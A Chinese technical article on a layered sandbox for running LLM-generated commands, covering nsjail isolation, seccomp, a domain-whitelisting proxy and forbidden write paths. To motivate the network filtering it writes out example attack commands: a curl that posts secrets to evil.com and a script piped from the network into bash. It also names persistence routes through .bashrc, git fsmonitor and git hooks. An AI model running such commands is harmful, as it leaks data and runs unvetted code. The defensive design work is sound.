AI 系统的沙盒执行环境设计思路
背景
在 AI 应用中,LLM 经常需要执行代码——运行 Shell 脚本、读写文件、安装依赖。但 LLM 的输出本质不可信:它可能幻觉出危险命令,也可能在 prompt injection 下被诱导执行恶意代码。
沙盒执行环境因此成为 AI 系统的基础设施。本文从架构设计的角度,拆解一套可落地的沙盒方案。
分层设计:传输与隔离解耦
沙盒有两个可以独立变化的关注点:
关注点一:传输方式——命令怎么发到执行环境?
- 开发调试时直接在本地起进程,延迟低
- 生产环境通过 SSH 发到隔离容器,宿主机零风险
关注点二:隔离级别——用什么力度限制进程?
- 轻量级:namespace + chroot + capability drop,适用于开发环境与内部信任任务
- 严格级:轻量级基础上叠加 seccomp + cgroup(内存/CPU 限制)+ 独立 network namespace + 禁用 /proc,适用于不可信的外部输入
关键是这两个关注点互不耦合——传输方式和隔离级别各写一份实现,按需组合使用,不用为每种"传输+隔离"的组合写一套独立的代码。
flowchart LR
subgraph 传输实现
L["本地执行<br/>(ProcessBuilder)"]
S["远程 SSH<br/>(SSH + SFTP)"]
end
subgraph 隔离实现
A["轻量隔离<br/>(namespace + chroot<br/>+ capability drop)"]
B["严格隔离<br/>(seccomp + cgroup<br/>+ 网络隔离)"]
end
subgraph 按需组合
LL["本地轻量<br/>开发调试"]
LS["远程轻量<br/>CI 环境"]
SL["本地严格<br/>本地高安全"]
SS["远程严格<br/>生产推荐"]
end
L --> A --> LL
L --> B --> SL
S --> A --> LS
S --> B --> SS
隔离模型:简单而高效的设计
核心思路:
给进程切换到隔离的文件系统视图——它只能看到沙盒内暴露的目录结构,无法直接访问宿主机其他路径。
需要注意的是:chroot 本身并不构成完整安全边界,真正的隔离依赖于 mount namespace、capability drop、seccomp、cgroup 等机制协同工作。
原理:mount namespace + chroot + 资源限制
nsjail 利用 Linux mount namespace 为进程创建独立的文件系统视图,配合 chroot 将进程的根目录锁定在沙盒专属目录内。沙盒外的路径对进程不可见。
搭建沙盒的步骤:
flowchart TD
subgraph 准备["第1步:准备 chroot 目录树"]
RO["宿主机 /sandbox/{id}/"]
RO --> USR["usr/ ← 只读 bind 自宿主机 /usr"]
RO --> LIB["lib/ ← 只读 bind 自宿主机 /lib"]
RO --> BIN["bin/ ← 只读 bind 自宿主机 /bin"]
RO --> ETC["etc/ ← 只读 bind 自宿主机 /etc"]
RO --> OPT["opt/ ← 只读 bind 自宿主机 /opt"]
RO --> WS["workspace/ ← 空目录,可写"]
RO --> HM["home/ ← 空目录,可写"]
RO --> TM["tmp/ ← 空目录,可写"]
end
subgraph 运行["第2步:chroot + cgroup 启动"]
CHROOT["nsjail --chroot /sandbox/{id}"]
CG["--cgroup_mem_max 512MB"]
CPU["--cgroup_cpu_ms_per_sec 800"]
NP["--disable_proc (屏蔽 /proc)"]
CAP["--cap-drop ALL (降权)"]
NP2["no_new_privs 开启(nsjail 默认)"]
end
准备 --> 运行
chroot 后进程看到的文件系统:
| 路径 | 进程视角 | 实际情况 |
|---|---|---|
/usr, /lib, /bin, /etc, /opt |
可读不可写 | 宿主机目录 bind 进来,写保护 |
/workspace |
可读可写 | 沙盒目录内的普通目录,可自由读写 |
/home/$USER |
可读可写 | 同上,工具链依赖的 home 都在这里 |
/tmp |
可读可写 | 同上,会话结束整目录销毁 |
| 沙盒外的任何路径 | 不可访问 | mount namespace + chroot 限制文件系统视图,沙盒外路径不在可见范围内 |
为什么选择 chroot + namespace?
相比纯"overlay 虚拟挂载"方案,chroot + mount namespace 有工程优势:
| overlay / 虚拟挂载方案 | chroot + namespace | |
|---|---|---|
| 文件系统视图 | overlayfs 叠加 | 独立根目录 |
| 系统目录控制 | 需要额外挂载策略 | bind 只读目录即可 |
| 符号链接行为 | 需额外检查逃逸 | 链接解析受根目录限制 |
| 资源限制 | 需单独配置 cgroup | nsjail 内置支持 |
| 启动成本 | 低 | 低 |
需要强调的是:
chroot本身不是完整安全边界- 真正的隔离来自 namespace + seccomp + capability drop + cgroup 的组合
- 本方案定位是轻量高性能隔离,而非 VM 级强隔离
为什么需要独立的 Home 目录?
很多开发者工具(pip、npm、git 等)假设 $HOME 是可写的,会往 ~/.cache、~/.config、~/.local 等路径写缓存和配置。如果 $HOME 不可写,这些工具会直接失败。因此沙盒必须提供一个独立的、可写的 home 目录。
但初始化时不从宿主机复制任何 home 内容——不复制 .config、.cache、.local,更不碰 .ssh、.gnupg。沙盒内的 home 从一个空目录起步,工具链按需自行创建缓存和配置。
Home 目录初始化步骤
nsjail 的 home 初始化很简洁——namespace + chroot 构成的文件系统视图即沙盒的全部可见范围:
sequenceDiagram
participant HOST as 宿主机
participant SANDBOX as 沙盒服务
participant JAIL as nsjail 沙盒
SANDBOX->>HOST: mkdir -p /sandbox/{id}/{home/.local/bin,workspace,tmp}
SANDBOX->>HOST: bind 系统目录到 chroot 树<br/>(/usr /lib /bin /etc /opt,只读)
Note over SANDBOX,HOST: 不复制宿主机任何 home 内容
Note over SANDBOX,JAIL: chroot + cgroup 启动
SANDBOX->>JAIL: nsjail --chroot /sandbox/{id} --cgroup_mem_max 512M --cap-drop ALL --disable_proc
SANDBOX->>JAIL: export HOME=/home/$USER TMPDIR=/tmp PATH=.../home/.local/bin
具体命令:
1 | 1. 创建 chroot 根目录结构 |
不复制宿主机 home 内容,原因在两方面:
- 安全:沙盒进程不应接触
~/.ssh、~/.gnupg等敏感目录;也不应拿到.gitconfig中的个人信息,或.npmrc中的 registry token - 隔离性:空 home 意味着沙盒内工具的行为完全可控、可复现,不受宿主机 home 历史状态的干扰
最终目录结构
1 | /sandbox/{sessionId}/ ← chroot 的根 |
整个目录树在宿主机上就是 /sandbox/{sessionId}/,chroot 后进程把它当 / 看。
释放沙盒时需要注意顺序:必须先 umount 解绑所有 bind 挂载点,再 rm -rf 删除目录。如果反过来,rm -rf 会穿透 bind 挂载删到宿主机文件——rm -rf /sandbox/{id}/usr 删的可是真实的 /usr。
1 | # 释放:先 umount,再 rm |
攻击场景验证
rm -rf /? → mount namespace + chroot 限制在沙盒视图内,宿主机文件不受影响cat /etc/passwd? → 可读沙盒内 bind 的只读副本,无法修改ps aux枚举进程? →--disable_proc后/proc不存在,无法获取宿主机进程信息pip install --user malicious-pkg? → 装进沙盒 home,会话结束 rm -rf 清理- 死循环 / 内存泄漏? → cgroup 限制内存超 512MB OOM kill,CPU 受限
- setuid 提权? →
--cap-drop ALL+no_new_privs禁止
nsjail 方案的核心价值:namespace + chroot + seccomp + capability drop + cgroup 的组合,提供轻量级但够用的工程安全边界。
超越文件系统:网络控制与纵深防御
chroot 搞定了文件隔离,但一个可用的沙盒远不止这些。实际落地时还有几个问题:网络、系统调用、强制拒绝路径。
网络:三层代理架构
nsjail 会运行在独立的 network namespace 中。默认情况下不允许直接访问宿主机网络——但 LLM 执行的操作经常需要联网(pip install、git clone、curl 都要出站),因此需要代理桥接。
实用方案是 三层架构:
flowchart LR
subgraph NS["独立 Network Namespace"]
PROC["沙盒进程<br/>(curl/pip/git)"]
SCT_IN["socat 客户端<br/>TCP:3128 / TCP:1080"]
end
subgraph HOST["宿主机"]
SCT_OUT["socat 宿主机端<br/>Unix Socket"]
HTTP["HTTP 代理<br/>127.0.0.1:3128<br/>域名白名单"]
SOCKS["SOCKS5 代理<br/>127.0.0.1:1080<br/>域名白名单"]
end
OUT["外网<br/>pypi.org / npmjs.org"]
PROC -->|"HTTP_PROXY=127.0.0.1:3128"| SCT_IN
SCT_IN -->|"Unix Socket 桥接"| SCT_OUT
SCT_OUT --> HTTP
SCT_OUT --> SOCKS
HTTP -->|"域名过滤通过"| OUT
SOCKS -->|"域名过滤通过"| OUT
第一层 — 宿主机代理:在宿主机侧启动两个代理进程:
- HTTP 代理(监听
127.0.0.1:3128):处理 HTTP/HTTPS 流量,对 CONNECT 隧道的目标域名做白名单校验 - SOCKS5 代理(监听
127.0.0.1:1080):处理非 HTTP 的 TCP 流量(SSH、数据库、gRPC)
两个代理共享同一份域名过滤规则,默认策略是 fail-closed:域名不在白名单里就拒绝连接。
为什么需要域名过滤? 假设不控制网络出站,LLM 可以做几件很危险的事:
- 数据外传:
curl -X POST https://evil.com/collect -d @/workspace/secrets.json,把沙盒里的敏感数据 POST 到外部服务器 - 下载即执行:
curl https://raw.githubusercontent.com/evil/script.sh | bash,从代码托管平台拉未经审核的脚本直接执行 - C2 回连:被 prompt injection 注入的恶意命令回连攻击者的 C2 服务器,变成一个驻留的 bot
因此需要白名单 + denylist 双重过滤:denylist 优先于 allowlist——比如允许 *.github.com 但拒绝 raw.githubusercontent.com,防止下载未经审核的脚本直接执行。
第二层 — socat 桥接:宿主机代理在 127.0.0.1 上监听,但沙盒进程在独立 network namespace 中看不到宿主机回环地址。需要 socat 桥接:宿主机起两个 socat 监听 Unix socket,沙盒内部再起两个 socat 监听 TCP 端口并通过 Unix socket 转发到宿主机。对沙盒内的进程来说,访问 127.0.0.1:3128 就是走代理,无需感知 Unix socket 的存在。
第三层 — 环境变量注入:启动沙盒进程时注入代理环境变量,让所有生态工具自动走代理:
1 | export HTTP_PROXY=http://127.0.0.1:3128 |
NO_PROXY 排除内网地址段,防止内部 API 调用被代理拦截。
Seccomp:系统调用过滤
文件系统和网络隔离之外,还需要限制系统调用攻击面。现代 Linux 内核中,一些新 syscall(如 io_uring)可能绕过传统的 socket 过滤。
实践中更推荐默认 deny + 按需 allowlist:
- 先阻止所有非必要 syscall
- 只放行经过验证的安全 syscall 集合
- 随着内核更新持续审计新增 syscall
重点限制的高风险 syscall 包括:
socket(AF_UNIX, ...)— 防止在沙盒内创建 Unix socket 绕过网络过滤io_uring_setup/io_uring_enter/io_uring_register— 堵住 io_uring 旁路bpf— 防止加载任意 BPF 程序userfaultfd— 防止用户态缺页处理逃逸perf_event_open— 防止性能事件侧信道
seccomp 过滤器编译为 BPF 字节码,通过一个独立的小型 C 程序注入。注入时机必须在 socat 启动之后、用户命令执行之前——因为 socat 本身需要创建 Unix socket 来桥接网络。注入后启动嵌套 PID namespace,使沙盒进程无法通过 /proc/N/mem 读写未过滤进程的内存。
Capability 与 no_new_privs
Linux capability 是现代沙盒的重要组成部分。即使进程运行在隔离文件系统中,如果仍保留 CAP_SYS_ADMIN、CAP_SYS_PTRACE、CAP_NET_ADMIN 等高权限 capability,依然可能影响宿主机。
因此实际运行时应:
- drop 所有非必要 capability
- 开启
no_new_privs,禁止 setuid 二进制提权 - 禁止
CAP_SYS_PTRACE(防止 ptrace 逃逸)
1 | nsjail --cap-drop ALL \ |
核心目标:即使沙盒内进程被完全控制,也无法获得新的宿主机权限。
符号链接行为
在 mount namespace 与 chroot 正确配置的前提下,符号链接解析会被限制在沙盒根目录视图内。
例如 LLM 创建:
1 | ln -s /etc/crontab /workspace/link |
在沙盒中,/workspace/link -> /etc/crontab 的实际解析目标是 /sandbox/{sessionId}/etc/crontab,而不是宿主机真实 /etc/crontab。这个文件在沙盒内通常不存在(/etc 是只读 bind 进来的副本),写入会 ENOENT 失败或在沙盒内创建无效文件。
因此,相比仅依赖路径字符串校验的方案,chroot + namespace 对常见符号链接逃逸攻击更稳健。
但仍需注意:
- 需关闭 inherited file descriptor
- 需隔离
/proc(已通过--disable_proc处理) - 需避免 mount namespace 泄漏
否则仍可能出现越界访问问题。
强制拒绝路径
有些路径无论怎么配都不应该被沙盒进程写入,这些是硬编码的:
- Shell 配置(
.bashrc、.zshrc、.profile):如果 LLM 能写这些文件,下次用户打开终端时注入的恶意命令就会自动执行——一次写入,永久驻留。这是最危险的持久化途径。 - Git 配置(
.gitconfig、.gitmodules):Git 有一个core.fsmonitor配置项,可以指定任意命令在每次 git 操作时执行。如果 LLM 改了这个配置,用户在沙盒外git commit时就会触发恶意代码。 - Git hooks(
.git/hooks/):pre-commit、post-checkout等 hook 脚本天然就是"在特定时机执行代码"的设计,不可能让它可写。 - IDE 目录(
.vscode/、.idea/):IDE 的任务配置、启动脚本可以被篡改,下次打开项目时自动执行恶意代码。 - AI 助手自身配置(
.claude/commands/、.claude/agents/):如果 LLM 可以修改自己的配置或指令,它能"自我升级权限",这是必须封堵的后门。
这些路径写入优先级最高——即使出现在 allowWrite 白名单中也被覆盖拒绝,属于"连沙盒自己都不信任沙盒内的 LLM"。
按平台适配
OS 沙盒的底层原语是平台相关的:
| Linux | macOS | |
|---|---|---|
| 文件隔离 + 资源限制 | nsjail (mount namespace + chroot + cgroup) | Seatbelt (sandbox-exec + Scheme 沙盒策略文件) |
| 网络控制 | 独立 network namespace + socat 桥接代理 | Seatbelt 内置(network-outbound 限制) |
| 系统调用过滤 | seccomp BPF(默认 deny + allowlist) | Seatbelt 内置(mach-lookup 白名单) |
| 安全模型 | namespace + seccomp + capability drop + cgroup 组合 | (deny default) + 逐条 (allow ...) 放行 |
两个平台用各自的工具链,上层配置模型保持一致即可。跨平台的 AI 沙盒本质上是一份 config,两份 impl。
性能与隔离的权衡
不同沙盒方案的隔离级别和适用场景各不相同:
| 方案 | 隔离级别 | 性能 | 启动速度 | 适用场景 |
|---|---|---|---|---|
| nsjail | namespace 级 | 极高 | 毫秒级 | AI Agent / 在线判题 |
| Docker | container 级 | 高 | 秒级 | 通用开发环境 |
| gVisor | 用户态内核 | 中 | 较快 | 公网多租户 |
| Firecracker | microVM | 较强 | 较慢 | 高安全隔离 |
本文方案偏向:
高密度、低延迟、轻量级 AI Agent 执行环境。
其目标不是替代虚拟机,而是在性能与安全之间取得工程平衡。对公网多租户等更高安全需求的场景,可进一步演进为 gVisor 或 microVM 架构。工程上不存在绝对安全的沙盒,真正可行的方案是在性能、兼容性、隔离强度、运维复杂度之间做权衡。
防御全景
flowchart TD
CMD["LLM 生成的命令"] --> L1
subgraph L1["第1层:文件与权限隔离"]
NS["nsjail: mount namespace + chroot<br/>capability drop · no_new_privs · cgroup 限制<br/>防:rm -rf / · 提权 · 资源耗尽"]
end
L1 --> L2
subgraph L2["第2层:网络控制"]
NET["独立 network namespace + HTTP/SOCKS 代理<br/>域名白名单 · fail-closed<br/>防:数据外传 · 下载恶意脚本 · C2 回调"]
end
L2 --> L3
subgraph L3["第3层:系统调用过滤"]
SEC["seccomp BPF (默认 deny + allowlist)<br/>禁用 AF_UNIX · io_uring · bpf<br/>防:Unix socket 绕过 · 内核弱点旁路"]
end
L3 --> L4
subgraph L4["第4层:路径兜底"]
DENY["强制拒绝路径<br/>符号链接解析受限 (chroot + namespace)<br/>.bashrc .gitconfig .git/hooks/ …<br/>防:持久化后门 · git 劫持"]
end
L4 --> SAFE["安全执行<br/>攻击面层层收窄"]
以上实践参考了 Anthropic sandbox-runtime 的架构设计。
会话生命周期
每个用户会话(一次对话 / 一个工作流实例)对应一个独立的沙盒工作区:
sequenceDiagram
participant 调用方
participant 沙盒服务
participant 文件系统
调用方->>沙盒服务: exec(command)
沙盒服务->>沙盒服务: 检测到无会话
沙盒服务->>文件系统: mkdir /sandbox/{id}/workspace
沙盒服务->>文件系统: mkdir /sandbox/{id}/home
沙盒服务->>文件系统: mkdir /sandbox/{id}/tmp
沙盒服务->>文件系统: mount --bind /usr /lib /bin /etc /opt → chroot 树 (只读)
沙盒服务->>沙盒服务: 持久化会话到 DB
沙盒服务->>文件系统: nsjail 启动 · 执行 command
沙盒服务-->>调用方: ExecResult
调用方->>沙盒服务: release(sessionId)
沙盒服务->>文件系统: umount /sandbox/{id}/usr /lib /bin /etc /opt (必须先解绑)
沙盒服务->>文件系统: rm -rf /sandbox/{id}
沙盒服务->>沙盒服务: 标记会话已释放
关键设计点:
- 自动创建:首次执行命令时自动建工作区,不要求调用方显式管理
- 数据隔离:不同会话工作区完全独立,
/sandbox/alice-123/workspace≠/sandbox/bob-456/workspace - 自动清理:会话结束
rm -rf不留残留 - 可恢复:会话状态落库,服务重启后可重建
附录:可直接使用的沙盒脚本
以下三个脚本实现了上述完整方案,可直接部署使用。
前置依赖
1 | # Debian/Ubuntu |
sandbox-setup — 准备沙盒环境
1 |
|
sandbox-exec — 执行命令
1 |
|
sandbox-teardown — 删除沙盒
1 |
|
使用示例
1 | # 准备沙盒 |
注意:
sandbox-setup和sandbox-teardown中的mount/umount需要 root 权限。执行命令的sandbox-exec中 nsjail 的 chroot 和 cgroup 也需要 root,如果不想用 root,可以给 nsjail 二进制设置CAP_SYS_ADMIN+CAP_SYS_CHROOTcapability。
总结
一套可落地的 AI 沙盒设计,核心抓住这几点:
- 关注点解耦:传输方式与隔离级别各写一份实现,按需组合
- 轻量高效:nsjail 提供了优秀的 namespace/cgroup 封装,配合独立 home 支撑 pip/npm 等工具链,启动毫秒级,适合高密度 AI Agent 场景
- 纵深防护:namespace + chroot + seccomp + capability drop + cgroup + 强制拒绝路径,多道防线协同,不依赖单点
- 透明生命周期:自动创建、自动清理、会话隔离、状态可恢复
需要明确的是:这不是 VM 级强隔离。真正的安全依赖 namespace / seccomp / capability / cgroup 的组合。对公网多租户场景,可进一步升级为 gVisor 或 microVM 架构。工程上不存在绝对安全的沙盒,真正可行的方案是在性能、兼容性、隔离强度、运维复杂度之间做平衡。